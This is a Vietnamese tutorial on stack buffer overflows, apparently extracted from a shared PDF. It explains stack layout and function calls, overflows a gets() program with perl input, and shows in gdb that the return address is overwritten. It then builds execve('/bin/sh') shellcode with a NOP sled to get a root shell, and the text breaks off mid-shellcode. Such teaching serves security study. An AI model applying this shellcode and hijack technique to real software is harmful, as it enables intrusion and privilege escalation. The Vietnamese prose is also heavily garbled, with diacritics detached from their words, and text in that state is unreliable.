Tài liệu Tìm hiểu đầy đủ về tràn bộ đệm

Heap là vùng nh dùng đ c p phát cho các bi n t nh ho c các vùng nhớ ể ấ ế ỉ ặ ớ đ c c p phát b ng hàm malloc()ượ ấ ằ Stack là vùng nh dùng đ l u các tham s và các bi n c c b c a hàm.ớ ể ư ố ế ụ ộ ủ Các bi n trên heap đ c c p phát t vùng nh th p đ n vùng nh cao.ế ượ ấ ừ ớ ấ ế ớ Trên stack thì hoàn toàn ng c l i, các bi n đ c c p phát t vùng nhượ ạ ế ượ ấ ừ ớ cao đ n vùng nh th p.ế ớ ấ Stack ho t đ ng theo nguyên t c "vào sau ra tr c"(Last In First Out -ạ ộ ắ ướ LIFO). Các giá tr đ c đ y vào stack sau cùng s đ c l y ra kh iị ượ ẩ ẽ ượ ấ ỏ stack tr c tiên.

pdf27 trang | Chia sẻ: longpd | Lượt xem: 1962 | Lượt tải: 4download
Bạn đang xem trước 20 trang tài liệu Tài liệu Tìm hiểu đầy đủ về tràn bộ đệm, để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
Tìm hi u đ y đ v tràn b đ mể ầ ủ ề ộ ệ ĐT - Vicki's real fan L i m đ uờ ở ầ Tràn b đ m là m t trong nh ng l h ng b o m t l n nh t hi n nay.ộ ệ ộ ữ ỗ ỏ ả ậ ớ ấ ệ V y tràn b đ m là gì? Làm th nào đ thi hành các mã l nh nguy hi mậ ộ ệ ế ể ệ ể qua tràn b đ m...?ộ ệ ***L u ý*** m t ít ki n th c v Assembly, C, GDB và Linux là đi uư ộ ế ứ ề ề c n thi t đ i v i b n!ầ ế ố ớ ạ S đ t ch c b nh c a m t ch ng trìnhơ ồ ổ ứ ộ ớ ủ ộ ươ /------------------\ đ a ch vùng nh caoị ỉ ớ | | | Stack | | | |------------------| | (Initialized) | | Data | | (Uninitialized) | |------------------| | | | Text | | | \------------------/ đ a ch vùng nh th pị ỉ ớ ấ Stack và Heap? Heap là vùng nh dùng đ c p phát cho các bi n t nh ho c các vùng nhớ ể ấ ế ỉ ặ ớ đ c c p phát b ng hàm malloc()ượ ấ ằ Stack là vùng nh dùng đ l u các tham s và các bi n c c b c a hàm.ớ ể ư ố ế ụ ộ ủ Các bi n trên heap đ c c p phát t vùng nh th p đ n vùng nh cao.ế ượ ấ ừ ớ ấ ế ớ Trên stack thì hoàn toàn ng c l i, các bi n đ c c p phát t vùng nhượ ạ ế ượ ấ ừ ớ cao đ n vùng nh th p.ế ớ ấ Stack ho t đ ng theo nguyên t c "vào sau ra tr c"(Last In First Out -ạ ộ ắ ướ LIFO). Các giá tr đ c đ y vào stack sau cùng s đ c l y ra kh iị ượ ẩ ẽ ượ ấ ỏ stack tr c tiên.ướ PUSH và POP Stack đ t trên xu ng du i(t vùng nh cao đ n vùng nh th p).ổ ừ ố ớ ừ ớ ế ớ ấ Thanh ghi ESP luôn tr đ n đ nh c a stack(vùng nh có đ a ch th p).ỏ ế ỉ ủ ớ ị ỉ ấ đ nh c a b nh /------------\ đáy c a stackỉ ủ ộ ớ ủ | | | | | | | | | | | | <-- ESP đáy c a b nh \------------/ đ nh c a stackủ ộ ớ ỉ ủ * PUSH m t value vào stackộ đ nh c a b nh /------------\ đáy c a stackỉ ủ ộ ớ ủ | | | | | | | | | | <- ESP cũ |------------| (2) -> value | <- ESP m i = ESP cũ -ớ sizeof(value) (1) đáy c a b nh \------------/ đ nh c a stackủ ộ ớ ỉ ủ 1/ ESP=ESP-sizeof(value) 2/ value đ c đ y vào stackượ ẩ * POP m t value ra kh i stackộ ỏ đ nh c a b nh /------------\ đáy c a stackỉ ủ ộ ớ ủ | | | | | | | | | | <- ESP m i = ESP cũ +ớ sizeof(value)(2) |------------| (1) <- value | <- ESP cũ đáy c a b nh \------------/ đ nh c a stackủ ộ ớ ỉ ủ 1/ value đ c l y ra kh i stackượ ấ ỏ 2/ ESP=ESP+sizeof(value) Khác nhau gi a các l nh h p ng AT&T v i Intelữ ệ ợ ữ ớ Khác v i MSDOS và WINDOWS, *NIX dùng các l nh h p ng AT&T.ớ ệ ợ ữ Nó hoàn toàn ng c l i v i chu n c a Intel/Microsoft.ượ ạ ớ ẩ ủ Ví d :ụ Intel AT&T mov eax, esp movl %esp, %eax push 7 push $7 mov [esp+5], eax movl %eax, 0x5(%esp) inc ah incb %ah push 7 push $7 ... * Ghi chú: e - Extended 32 bits % - register mov %src, %des movl - move 1 long movb - move 1 byte movw - move 1 word $ - h ngằ # - chú thích ... Cách làm vi c c a hàmệ ủ Thanh ghi EIP luôn tr đ n đ a ch c a câu l nh ti p theo c n thi hành.ỏ ế ị ỉ ủ ệ ế ầ Khi g i hàm, đ u tiên các tham s đ c push vào stack theo th tọ ầ ố ượ ứ ự ng c l i. Ti p theo đ a ch c a câu l nh đ c push vào stack. Sau đó,ượ ạ ế ị ỉ ủ ệ ượ thanh ghi EBP đ c push vào stack(dùng đ l u giá tr cũ c a EBP).ượ ể ư ị ủ Khi k t thúc hàm, thanh ghi EBP đ c pop ra kh i stack(ph c h i l iế ượ ỏ ụ ồ ạ giá tr cũ c a EBP). Sau đó đ a ch tr v (ret address) đ c pop ra kh iị ủ ị ỉ ở ề ượ ỏ stack và l nh ti p theo sau l i g i hàm s đ c thi hành.ệ ế ờ ọ ẽ ượ Thanh ghi EBP đ c dùng đ xác đ nh các tham s và các bi n c c bượ ể ị ố ế ụ ộ c a hàm.ủ Ví d :ụ test.c ----------------------------------------------------------- ------------------- void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } ----------------------------------------------------------- ------------------- Đ hi u đ c ch ng trình g i hàm function() nh th nào, b n hãyể ể ượ ươ ọ ư ế ạ compile vidu1.c, dùng tham s -S đ phát mã assembly:ố ể [đt@localhost ~/vicki]$cc -S -o test.s test.c Xem file test.s, chúng ta s th y call function() đ c chuy n thành:ẽ ấ ượ ể pushl $3 pushl $2 pushl $1 call function 3 tham s truy n cho function() l n l t đ c push vào stack theo th tố ề ầ ượ ượ ứ ự ng c l i. Câu l nh 'call' s push con tr l nh(t c là thanh ghi EIP) vàoượ ạ ệ ẽ ỏ ệ ứ stack đ l u đ a ch tr v .ể ư ị ỉ ở ề Các l nh đ u tiêu trong hàm function() s có d ng nh sau:ệ ầ ẽ ạ ư pushl %ebp movl %esp,%ebp subl $20,%esp Đ u tiên ESP(frame pointer) đ c push vào stack. Sau đó ch ng trìnhầ ượ ươ copy ESP vào EBP đ t o m t FP pointer m i. B n d nh n th y lúcể ạ ộ ớ ạ ễ ậ ấ này ESP và EBP đ u đang tr đ n ô nh ch a EBP cũ. Hãy ghi nh đi uề ỏ ế ớ ứ ớ ề này. Ti p theo ESP đ c tr đi 20 đ dành không gian cho các bi n c cế ượ ừ ể ế ụ b c a hàm function()ộ ủ Vì ch ng trình 32 bits nên 5 bytes buffer1 s là 8 bytes(2 words) trongươ ẽ b nh (do làm tròn đ n 4 bytes hay là 32 bits), 10 bytes buffer2 s là 12ộ ớ ế ẽ bytes trong b nh (3 words). T ng c ng s t n 8+12=20 bytes cho cácộ ớ ổ ộ ẽ ố bi n c c b c a function() nên ESP ph i b tr đi 20! Stack s có d ngế ụ ộ ủ ả ị ừ ẽ ạ nh sau:ư đáy c aủ đ nh c aỉ ủ b nhộ ớ b nhộ ớ buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] đ nh c a 12 bytes 8 bytes 4b 4bỉ ủ đáy c aủ stack stack Trong hàm function(), n i dung thanh ghi EBP không b thay đ i.ộ ị ổ 0xz%ebp dùng đ xác đ nh ô nh ch a tham s c a hàmể ị ớ ứ ố ủ 0xfffffz%ebp dùng đ xác đ nh ô nh ch a bi n c c b c a hàmể ị ớ ứ ế ụ ộ ủ Khi k t thúc hàm function():ế movl %ebp,%esp popl %ebp ret movl %ebp, %esp s copy EBP vào ESP. Vì EBP khi b t đ u hàm trẽ ắ ầ ỏ đ n ô nh ch a EBP cũ và EBP không b thay đ i trong hàm function()ế ớ ứ ị ổ nên sau khi th c hi n l nh movl, ESP s tr đ n ô nh ch a EBP cũ.ự ệ ệ ẽ ỏ ế ớ ứ popl %ebp s ph c h i l i giá tr cũ cho EBP đ ng th i ESP s b gi mẽ ụ ồ ạ ị ồ ờ ẽ ị ả 4(ESP=ESP-sizeof(EBP cũ)) sau l nh ệ popl. Nh v y ESP s tr đ n ôư ậ ẽ ỏ ế nh ch a đ a ch tr v (n m ngay trên ô nh ch a EBP cũ). ớ ứ ị ỉ ở ề ằ ớ ứ ret s popẽ đ a ch tr v ra kh i stack, ESP s b gi m 4 và ch ng trình ti p t cị ỉ ở ề ỏ ẽ ị ả ươ ế ụ thi hành câu l nh sau l nh call function().ệ ệ Ch ng trình b tràn b đ mươ ị ộ ệ Ví d :ụ gets.c: --------------------------------------- int main() { char buf[20]; gets(buf); } --------------------------------------- [đt@localhost ~/vicki]$ cc gets.c -o gets /tmp/cc4C6vaT.o: In function `main': /tmp/cc4C6vaT.o(.text+0xe): the `gets' function is dangerous and should not be used. [đt@localhost ~/vicki]$ gets(buf) s nh n input data vào buf. Kích th c c a buf ch là 20 bytes.ẽ ậ ướ ủ ỉ N u ta đ y data có kích th c l n h n 20 bytes vào buf, 20 bytes dataế ẩ ướ ớ ơ đ u tiên s vào m ng buf[20], các bytes data sau s ghi đè lên EBP cũ vàầ ẽ ả ẽ ti p theo là ret addr. Nh v y chúng ta có th thay đ i đ c đ a ch trế ư ậ ể ổ ượ ị ỉ ở v , đi u này đ ng nghĩa v i vi c ch ng trình b tràn b đ m.ề ề ồ ớ ệ ươ ị ộ ệ đ nh c a b nh +-------------+ đáy c a stackỉ ủ ộ ớ ủ | return addr | +-------------+ | EBP cũ | +-------------+ | | | | | buf[20] | | | | | đáy c a b nh +-------------+ đ nh c a stackủ ộ ớ ỉ ủ B n hãy th :ạ ử [đt@localhost ~/vicki]$ perl -e 'print "A" x 24' | ./gets [đt@localhost ~/vicki]$ gdb gets core GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-mandrake-linux"... Core was generated by `./gets'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () (gdb) info all eax 0xbffffbc4 -1073742908 ecx 0xbffffbc4 -1073742908 edx 0x40105dbc 1074814396 ebx 0x4010748c 1074820236 esp 0xbffffbe0 0xbffffbe0 ebp 0x41414141 0x41414141 // hãy nhìn xem, chúng ta v a ghi đè lên ebpừ esi 0x4000a610 1073784336 edi 0xbffffc24 -1073742812 eip 0x40031100 0x40031100 eflags 0x10282 66178 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 (gdb) quit [đt@localhost ~/vicki]$ 0x41 chính là "A" d ng hexở ạ Bây gi b n hãy th ti p:ờ ạ ử ế [đt@localhost ~/vicki]$ perl -e 'print "A" x 28' | ./gets Segmentation fault [đt@localhost ~/vicki]$ gdb gets core GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-mandrake-linux"... Core was generated by `./gets'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () (gdb) info all eax 0xbffffbc4 -1073742908 ecx 0xbffffbc4 -1073742908 edx 0x40105dbc 1074814396 ebx 0x4010748c 1074820236 esp 0xbffffbe0 0xbffffbe0 ebp 0x41414141 0x41414141 // chúng ta đã ghi đè lên ebp esi 0x4000a610 1073784336 edi 0xbffffc24 -1073742812 eip 0x41414141 0x41414141 // chúng ta đã ghi đè lên eip eflags 0x10282 66178 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 (gdb) quit [đt@localhost ~/vicki]$ Đ a ch tr v b thay đ i thành ị ỉ ở ề ị ổ 0x41414141, ch ng trình s thi hànhươ ẽ các l nh t i ệ ạ 0x41414141, tuy nhiên đây là vùng c m nên Linux đã báoấ l i "ỗ Segmentation fault" Shellcode Hình dung các đ t shellcode trên stackặ ví d tr c, chúng ta đã bi t đ c nguyên nhân c a tràn b đ m vàỞ ụ ướ ế ượ ủ ộ ệ cách thay đ i eip. Tuy nhiên, chúng ta c n ph i thay đ i đ a ch tr vổ ầ ả ổ ị ỉ ở ề tr đ n shellcode đ đ m t shell. B n có th hình dung ra cách đ tỏ ế ể ổ ộ ạ ể ặ shellcode trên stack nh sau:ư Tr c khi tràn b đ m:ướ ộ ệ đáy c a b nh đ nhủ ộ ớ ỉ c a b nh ủ ộ ớ <----- FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF đ nh c a stack đáyỉ ủ c a stackủ B = buffer E = stack frame pointer R = return address F = các data khác Khi tràn b đ m:ộ ệ đáy c a b nh đ nhủ ộ ớ ỉ c a b nhủ ộ ớ <----- FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF đ nh c a stack đáyỉ ủ c a stackủ S = shellcode A = con tr đ n shellcodeỏ ế F = các data khác (1) L p tràn b đ m(đ n return addr) b ng đ a ch c a bufferắ ộ ệ ế ằ ị ỉ ủ (2) Đ t shellcode vào bufferặ Nh v y đ a ch tr v s tr đ n shellcode, shellcode s đ m t rootư ậ ị ỉ ở ề ẽ ỏ ế ẽ ổ ộ shell. Tuy nhiên, th t khó đ làm cho ret addr tr đ n đúng shellcode. Cóậ ể ỏ ế m t cách khác, chúng ta s đ t vào đ u c a buffer m t dãy l nhộ ẽ ặ ầ ủ ộ ệ NOP(NO oPeration - không x lí), ti p theo chúng ta đ y shellcode vàoử ế ẩ sau NOPs. Nh v y khi thay đ i ret addr tr đ n m t n i này đó đ uư ậ ổ ỏ ế ộ ơ ở ầ buffer, các l nh NOP s đ c thi hành, chúng không làm gì c . Đ n khiệ ẽ ượ ả ế g p các l nh shellcode, shellcode s làm nhi m v đ root shell. Stackặ ệ ẽ ệ ụ ổ có d ng nh sau:ạ ư đáy c a b nh đ nhủ ộ ớ ỉ c a b nhủ ộ ớ <----- FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF đ nh c a stack đáyỉ ủ c a stackủ N = NOP S = shellcode A = con tr đ n shellcodeỏ ế F = các data khác Vi t và test th shellcodeế ử Shellcode đ c đ t trên stack nên không th nào dùng đ a ch tuy t đ i.ượ ặ ể ị ỉ ệ ố Chúng ta bu c ph i dùng đ a ch t ng đ i. Th t may cho chúng ta, l nhộ ả ị ỉ ươ ố ậ ệ jmp và call có th ch p nh n các đ a ch t ng đ i. Shellcode s cóể ấ ậ ị ỉ ươ ố ẽ d ng nh sau:ạ ư 0 jmp (nh y xu ng z bytes, t c là đ n câu l nh call)ả ố ứ ế ệ 2 popl %esi ... đăt các hàm t i đây ...ạ Z call (call s nh y lên z-2 bytes, đ b ngay câuẽ ả ế l nh sau jmp, POPL)ệ Z+5 .string (bi n)ế Gi i thích:ả đ u shellcode chúng ta đ t m t l nh jmp đ n call. call sở ầ ặ ộ ệ ế ẽ nh y ng c lên l i câu l nh ngay sau jmp, t c là câu l nh ả ượ ạ ệ ứ ệ popl %esi. Chúng ta đ t các d li u ặ ữ ệ .string ngay sau call. Khi l nh call đ c thiệ ượ hành, nó s push đ a ch c a câu l nh k ti p, trong tr ng h p này làẽ ị ỉ ủ ệ ế ế ườ ợ đ a ch c a ị ỉ ủ .string vào stack. Câu l nh ngay sau jmp là ệ popl %esi, như v y esi s ch a đ a ch c a ậ ẽ ứ ị ỉ ủ .string. Chúng ta đ t các hàm c n x lí gi aặ ầ ử ữ popl %esi và call , các hàm này s xác đ nh các d li u ẽ ị ữ ệ .string qua thanh ghi esi. Mã l nh đ đ shell trong C có d ng nh sau:ệ ể ổ ạ ư shellcode.c ----------------------------------------------------------- ------------------ #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ----------------------------------------------------------- ------------------- Đ tìm ra mã l nh assembly th t s c a shellcode, b n c n compileể ệ ậ ự ủ ạ ầ shellcode.c và sau đó ch y gdb. Nh dùng c -static khi compileạ ớ ờ shellcode.c đ g p các mã l nh assembly th t s c a hàm execve vào,ể ộ ệ ậ ự ủ n u không dùngế c này, b n ch nh n đ c m t tham chi u đ n thờ ạ ỉ ậ ượ ộ ế ế ư vi n liên k t đ ng c a C cho hàm execve.ệ ế ộ ủ [đt@localhost ~/vicki]$ gcc -o shellcode -ggdb -static shellcode.c [đt@localhost ~/vicki]$ gdb shellcode GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-mandrake-linux"... (gdb) disas main Dump of assembler code for function main: 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disas __execve Dump of assembler code for function __execve: 0x80002bc : pushl %ebp 0x80002bd : movl %esp,%ebp 0x80002bf : pushl %ebx 0x80002c0 : movl $0xb,%eax 0x80002c5 : movl 0x8(%ebp),%ebx 0x80002c8 : movl 0xc(%ebp),%ecx 0x80002cb : movl 0x10(%ebp),%edx 0x80002ce : int $0x80 0x80002d0 : movl %eax,%edx 0x80002d2 : testl %edx,%edx 0x80002d4 : jnl 0x80002e6 0x80002d6 : negl %edx 0x80002d8 : pushl %edx 0x80002d9 : call 0x8001a34 0x80002de : popl %edx 0x80002df : movl %edx,(%eax) 0x80002e1 : movl $0xffffffff,%eax 0x80002e6 : popl %ebx 0x80002e7 : movl %ebp,%esp 0x80002e9 : popl %ebp 0x80002ea : ret 0x80002eb : nop End of assembler dump. (gdb) quit Gi i thích:ả 1/ main(): 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp Các l nh này b n đã vi t r i. Nó s l u frame pointer cũệ ạ ế ồ ẽ ư và t o frame pointer m i t stack pointer, sau đó dành chạ ớ ừ ổ cho các bi n c c b c a main() trên stack, trong tr ngế ụ ộ ủ ườ h p này là 8 bytes:ợ char *name[2]; 2 con tr ki u char, m i con tr dài 1 word nên ph i t n 2ỏ ể ỗ ỏ ả ố word, t c là 8 bytes trên stack.ứ 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) copy giá tr 0x80027b8(đ a ch c a chu i "/bin/sh") vàoị ị ỉ ủ ổ con tr đ u tiên c a m ng con tr name[]. Câu l nh nàyỏ ầ ủ ả ỏ ệ t ng đ ng v i:ươ ươ ớ name[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp) copy giá tr 0x0(NULL) vào con tr th 2 c a name[]. Câuị ỏ ứ ủ l nh này t ng đ ng v i:ệ ươ ươ ớ name[1] = NULL; Mã l nh th t s đ call execve() b t đ u t i đây:ệ ậ ự ể ắ ầ ạ 0x8000144 : pushl $0x0 push các tham s c a hàm execve() vào stack theo th tố ủ ứ ự ng c l i, đ u tiên là ượ ạ ầ NULL 0x8000146 : leal 0xfffffff8(%ebp),%eax n p đ a ch c a name[] vào thanh ghi EAXạ ị ỉ ủ 0x8000149 : pushl %eax push đ a ch c a name[] vào stackị ỉ ủ 0x800014a : movl 0xfffffff8(%ebp),%eax n p đ a ch c a chu i "/bin/sh" vào stackạ ị ỉ ủ ổ 0x800014e : call 0x80002bc g i hàm th vi n execve(). call s push eip vào stack.ọ ư ệ ẽ 2/ execve(): 0x80002bc : pushl %ebp 0x80002bd : movl %esp,%ebp 0x80002bf : pushl %ebx đây là ph n m đ u c a hàm, tôi không c n gi i thích choầ ở ầ ủ ầ ả b n n aạ ữ 0x80002c0 : movl $0xb,%eax copy 0xb(11 decimal) vào stack. 11 = execve() 0x80002c5 : movl 0x8(%ebp),%ebx copy đ a ch c a "/bin/sh" vào EBXị ỉ ủ 0x80002c8 : movl 0xc(%ebp),%ecx copy đ a ch c a name[] vào ECXị ỉ ủ 0x80002cb : movl 0x10(%ebp),%edx copy đ a ch c a con tr null vào EDXị ỉ ủ ỏ 0x80002ce : int $0x80 g i ng t $0x80ọ ắ Tóm l i:ạ a/ có m t chu i k t thúc b ng null "/bin/sh" đâu đó trong b nhộ ổ ế ằ ở ộ ớ b/ có đ a ch c a chu i "/bin/sh" đâu đó trong b nh theo sau là 1 nullị ỉ ủ ổ ở ộ ớ dài 1 word c/ copy 0xb vào thanh ghi EAX d/ copy đ a ch c a đ a ch c a chu i "/bin/sh" vào thanh ghi EBXị ỉ ủ ị ỉ ủ ổ e/ copy đ a ch c a chu i "/bin/sh" vào thanh ghi ECXị ỉ ủ ổ f/ copy đ a ch c a null dài 1 word vào thanh ghi EDXị ỉ ủ g/ g i ng t $0x80ọ ắ Sau khi thi hành call execve, ch ng trình có th thi hành ti p các câuươ ể ế l nh rác còn l i trên stack và ch ng trình có th th t b i. Vì v y,ệ ạ ươ ể ấ ạ ậ chúng ta ph i nhanh chóng k t thúc ch ng trình b ng l i g i hàmả ế ươ ằ ờ ọ exit(). Exit syscall trong C có d ng nh sau:ạ ư exit.c ----------------------------------------------------------- ------------------- #include void main() { exit(0); } ----------------------------------------------------------- ------------------- Xem mã assemly c a hàm exit():ủ [đt@localhost ~/vicki]$ gcc -o exit -ggdb -static exit.c [đt@localhost ~/vicki]$ gdb exit GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0 Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-mandrake-linux"... (gdb) disas _exit Dump of assembler code for function _exit: 0x800034c : pushl %ebp 0x800034d : movl %esp,%ebp 0x800034f : pushl %ebx 0x8000350 : movl $0x1,%eax 0x8000355 : movl 0x8(%ebp),%ebx 0x8000358 : int $0x80 0x800035a : movl 0xfffffffc(%ebp),%ebx 0x800035d : movl %ebp,%esp 0x800035f : popl %ebp 0x8000360 : ret 0x8000361 : nop 0x8000362 : nop 0x8000363 : nop End of assembler dump. (gdb) quit exit syscall s đ t 0x1 vào EAX, đ t exit code trong EBX và g i ng tẽ ặ ặ ọ ắ "int 0x80". exit code = 0 nghĩa là không g p l i. Vì v y chúng ta s đ t 0ặ ỗ ậ ẽ ặ trong EBX. Tóm l i:ạ a/ có m t chu i k t thúc b ng null "/bin/sh" đâu đó trong b nhộ ổ ế ằ ở ộ ớ b/ có đ a ch c a chu i "/bin/sh" đâu đó trong b nh theo sau là 1 nullị ỉ ủ ổ ở ộ ớ dài 1 word c/ copy 0xb vào thanh ghi EAX d/ copy đ a ch c a đ a ch c a chu i "/bin/sh" vào thanh ghi EBXị ỉ ủ ị ỉ ủ ổ e/ copy đ a ch c a chu i "/bin/sh" vào thanh ghi ECXị ỉ ủ ổ f/ copy đ a ch c a null dài 1 word vào thanh ghi EDXị ỉ ủ g/ g i ng t $0x80ọ ắ h/ copy 0x1 vào thanh ghi EAX i/ copy 0x0 vào thanh ghi EBX j/ g i ng t $0x80ọ ắ Shellcode s có d ng nh sau:ẽ ạ ư ----------------------------------------------------------- ------------------- jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal array-offset,(%esi),%ecx # 3 bytes leal null-offset(%esi),%edx # 3 bytes int $0x80 # 2 bytes mov
Tài liệu liên quan